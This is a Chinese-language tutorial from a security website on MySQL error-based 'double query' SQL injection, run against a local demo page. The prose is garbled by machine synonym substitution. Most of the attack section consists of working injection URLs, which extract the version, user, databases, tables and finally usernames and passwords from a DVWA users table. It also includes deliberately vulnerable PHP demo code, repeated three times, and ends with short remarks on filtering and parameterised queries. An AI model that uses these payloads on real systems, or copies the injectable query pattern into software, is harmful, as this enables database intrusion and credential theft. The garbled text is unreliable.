移动安全 安全管理 应用案例 网络威胁 系统安全 应用安全数据安全 云安全
当前位置: 主页 > 信息安全 > 数据安全 >

数据安然之双查询注进解析

时间:2013-11-14 11:15来源:TuZhiJiaMi企业信息安全专家 点击:
介绍一下双查询注进,甚么叫双查询注进,这个有点难以诠释,通俗的来讲就是嵌套子查询。我们理解一会儿查询,查询的关头字是select,这个大年夜家都知道。子查询可以简单的理解在一个
Tags数据安全(840)数据库(89)双查询注入(1)  

  介绍一下双查询注进,甚么叫双查询注进,这个有点难以诠释,通俗的来讲就是嵌套子查询。我们理解一会儿查询,查询的关头字是select,这个大年夜家都知道。子查询可以简单的理解在一个select语句里还有一个select,里面的这个select语句就是子查询。

  这类编制合用于注进的时辰没有返回位,可是有返回位的时辰也合用,不外又返回位的时辰就不建议在、用这个啦!返回位就是你们union select 1,2,3,4,5,6,7,8 这里是8个字段

  这里显示2,4,5,6,7,8就是返回位

  别的,就是要有返回mysql弊端提示,php返回弊端提示有两种,看下图

  这是mysql返回的弊端

  这是php返回的弊端

  双注进的道理,简单一句话道理就是有研究人员发现,当在一个聚合函数,好比count函数后面假定利用分组语句就会把查询的一部门以弊端的情势显示出来。

  floor()和rand(),count()就不在多说啦

  可是concat()函数,就来讲一下,concat是一个连接函数,可以连接多个字符,例如

  1concat("abc","123")="abc123"

  并且撑持ascii码,例如:

  1concat("abc",0x22,"123")=abc"123

  (0×22就是双引号,可以用来当分隔符)

  这里在mysql输进

  1select concat((select version()))

shuangzhuru4

  在concat里履行查询要用括号括起来,同时要肯定只返回 一条数据,不然得用limit来包管只有一条成果 (limit 0,1 返回第一条)

  假定这条语句添加from的话,就会返回表中的记实的条数,就是有多少笔记实就会返回多少次的版本号,看图

shuangzhuru5

  这里还没有显示完!!

  是以

  1select concat((select version()),floor(rand()*2)) from mysql.user;

  (这里我用的是mysql中的mysql数据库,user表有四笔记实 )

  (小编注:rand()函数是生成0-1之间的小数随机值,rand()*2是生成0-2之间的小数随机数,floor(rand()*2)就相当于生成0/1两个随机值)

  Attention,这里显示的值是版本号加上rand()生成的,准确版本好是往掉掉队面的0或1

  此刻我们加上group by ,因为假定我们从from 某张表的话,可能里面就会有良多笔记实,然后便可能生成随机值(传闻是如许的,假定不是,还看奉告)

  这里用information_schema.tables来弄,因为他的记实够多 ,如前一条语句,你便可以知道啦

  group by 一下多清爽啦

  看语句中

  1select concat((select version()),floor(rand()*2))a from information_schema.tables group by a;

  这里加粗的a是把 as a 简写成 a 罢了,说一下group by ,这个的感化就是把5.1.69-0ubuntu0.10.04.10 分为一组,5.1.69-0ubuntu0.10.04.11 的分为一组

  (小编注:假定各位看官不知道这里是如何回事,履行一下

  1select concat((select version()),floor(rand()*2)) from information_schema.tables

  就清晰了)

  最后就来到这个count()函数了,这个函数妙用可以看一下下图

  1select count(*),concat((select version()),floor(rand()*2))a from information_schema.tables group by a

  看到了没有,返回了我们后面concat的内容啦

  ERROR 1062 (23000): Duplicate entry ’15.1.69-0ubuntu0.10.04.1′ for key ‘group_key’,我们看看phpmyadmin下比较具体的报错:

shuangchaxun21

  说了这么多就为了这个罢了!!

  好了,给个小小demo(demo在本文最后)给你们,不外弄不出一个没有显示返回位的,所以就迁就一下的

  然后双注进查询是有固定公式的

  1union select 1 from (select+count(*),concat(floor(rand(0)*2),( 注进爆数据语句))a from information_schema.tables group by a)b

  这里将下面的demo设置数据库的一些参数以后,保留成yi.php,我们的演示就正式开端了

  这是正常的环境:

  加个单引号后

  这里申明有注进了,然后用order by 鉴定字段咯,这里就截图了(太麻烦啦),字段数是8个(其实不鉴定也能够的,只要肯定有注进就行啦)

  1、先读个数据库的版本、用户、当前库名

  1http://127.0.0.1/yi.php?id=-1 union select 1 from (select count(*), concat(floor(rand()*2),(select concat(version(),0x22,user(),0x22,database())))a from information_schema.tables group by a)b

  这里数据库版本:5.1.28-rc-community

  用户是:root@localhost

  数据库名:test

  2、然后读数据库有哪些库

  1http://127.0.0.1/yi.php?id=-1 union select 1 from (select count(*), concat(floor(rand()*2),(select schema_name from information_schema.schemata limit 0,1))a from information_schema.tables group by a)b

  这里要寄望,因为sql语句会返回多笔记实,所以要用limit来限制返回的条数,limit 0,1是第一笔记实

  limit 1,1是第二笔记实

  (小编注:经由过程节制limit来逐条查看数据库名称,请忽视前面的0或是1)

  3、然后看看有甚么表

  因为我有个dvwa的数据库,所以就用阿谁来做示范啦

  1http://127.0.0.1/yi.php?id=-1 union select 1 from (select+count(*),concat(floor(rand(0)*2),(select table_name from information_schema.tables where table_schema=0x64767761 limit 1,1))a from information_schema.tables group by a)b

  加粗是dvwa的hex值,如许获得dvwa的users的表

  4、然后看有甚么字段

  1http://127.0.0.1/yi.php?id=-1 union select 1 from (select count(*) ,concat(floor(rand(0)*2),(select column_name from information_schema.columns where table_name =0x7573657273 limit 0,1 ))a from information_schema.tables group by a)b

  然后点窜limit的值,获得字段user,password

  5、然后读取字段的值

  1http://127.0.0.1/yi.php?id=-1 union Select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(user,0x22,password) from dvwa.users limit 0,1))a from information_schema.tables group by a)b

  这模样就获得字段的值啦,然后提示一下,如果跨库读取数据,要写成数据库名然后.表名。因为当前数据库是test,然后我读的是dvwa库的users的表,所以要写成dvwa.users

  好了根基就是这么多啦。

  防备编制:

  一个是过滤啦(把’,”,union,select load_file,%,and等敏感字符都过滤啦)

  另外一个是参数化查询,就是一种把查询语句给固定死了,不管传过来的值是甚么,都只当作变量来履行查询语句

  demo的源码:

  

  $dbuser = "root";

  $dbpwd = ""; //这里是mysql的暗码

  $db = "test";

  $conn = mysql_connect("localhost",$dbuser,$dbpwd) or die("error");

  mysql_select_db($db,$conn);

  $id = $_GET['id'];

  $query = "select * from test where id =$id";

  $result = mysql_query($query) or die(mysql_error());

  print_r(mysql_fetch_array($result));

  //简单的写一下罢了

  ?>  $dbuser = "root";

  $dbpwd = ""; //这里是mysql的暗码

  $db = "test";

  $conn = mysql_connect("localhost",$dbuser,$dbpwd) or die("error");

  mysql_select_db($db,$conn);

  $id = $_GET['id'];

  $query = "select * from test where id =$id";

  $result = mysql_query($query) or die(mysql_error());

  print_r(mysql_fetch_array($result));

  //简单的写一下罢了

  >  $dbuser = "root";

  $dbpwd = ""; //这里是mysql的暗码

  $db = "test";

  $conn = mysql_connect("localhost",$dbuser,$dbpwd) or die("error");

  mysql_select_db($db,$conn);

  $id = $_GET['id'];

  $query = "select * from test where id =$id";

  $result = mysql_query($query) or die(mysql_error());

  print_r(mysql_fetch_array($result));

  //简单的写一下罢了

  >

------分隔线----------------------------

推荐内容